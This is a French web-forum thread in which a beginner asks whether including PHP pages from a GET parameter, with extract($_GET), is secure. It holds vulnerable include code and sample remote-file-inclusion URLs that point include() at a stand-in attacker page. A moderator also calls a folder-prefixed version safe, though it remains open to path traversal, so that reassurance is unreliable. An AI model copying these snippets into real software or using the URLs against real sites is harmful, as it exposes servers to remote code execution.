Include et securité [Résolu]

Signaler
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009
-
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
-
bonjour,
je veux savoir si ma facon d'incluredes fichiers est sans faille, vu que je débute, je ne peux pas le dire.
Tous les liens sont du type "index.php?page=ma_page". J'extrait $_GET['page'], et j'inclus la page "$_GET['page'].php". C'est simple mais je ne sais pas s'il y a une faille ou pas. Voici le code:

<?php
$ext = '.php';

extract($_GET);

if (isset($page) )
{
    include($page.$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>
Merci d'avance pour vos réponses.

9 réponses

Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
40
Salut,

<?php
$ext = '.php';
$dossier = 'includes/';
if (isset($_GET['page']) )
{
    include($dossier.$_GET['page'].$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>

là t'es sur

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

a l'origine le code etait comme ca (je sais pas pourquoi je l'ai changé):
<?php
$ext = '.php';
$dossier = 'includes/';
extract($_GET);

if (isset($page) )
{
    include($dossier.$page.$ext); //ns appelons le contenu de la page centrale
}
else
{
    include('accueil.php'); //page par defaut qunad elle n'existe pas ds le tablo
}
?>
Messages postés
507
Date d'inscription
mardi 18 février 2003
Statut
Membre
Dernière intervention
22 juin 2012
2
oui elle peut être dangeureuse ta façon d'inclure ta page
je t'explique
tu verifie si uen page a été passer en parametre sa c'est d'accord
et ensuite tu l'inclu directement
c'est sa qui est pas bon
en effet si je fait :
http://www.ton-site.com/index.php?page=http://www.mon-site.com/ma_page_dangeusereuse

ton site va inclure mon fichier dangeureux provenant de mon site

rajoute la condition
if(file_exists($page))
sa verifie si la page envoyer en parametre existe sur le serveur
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

même s'il s'agit d'une page dans un dossier ? Avec ton exemple, mon index va vouloir afficher "mon_dossier_include/http://www.mon-site.com/ma_page_dangeusereuse", non?
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
40
Salut,

ton premier exemple est dangereux, mais le second non... il est cependant crade : on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
40
Salut,

ton premier exemple est dangereux, mais le second non... il est cependant crade : on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

qu'est-ce que tu veux dire quand tu dis :" on ne doit jamais faire extract car tu as des noms de variables qui peuvent être écrasés...."
Messages postés
12303
Date d'inscription
mardi 10 février 2004
Statut
Modérateur
Dernière intervention
30 juillet 2012
40
Salut,

<?php

$var='print';

extract($_GET)

$var($page);

?>

là par exemple, si l'interaute fais :

page.php?var=include&page=http://monsite.com/jetehacke.php

bah t'as plus de site....

In a dream, I saw me, drop dead... U was there, U cried... It was just a dream, if I die, U won't cry, maybe, U'll be happy

Mon site (articles sur la programmation et programmes)
Messages postés
55
Date d'inscription
mardi 6 juin 2006
Statut
Membre
Dernière intervention
20 janvier 2009

mon 2eme exemple est sûr ou pas, je ne sais plus.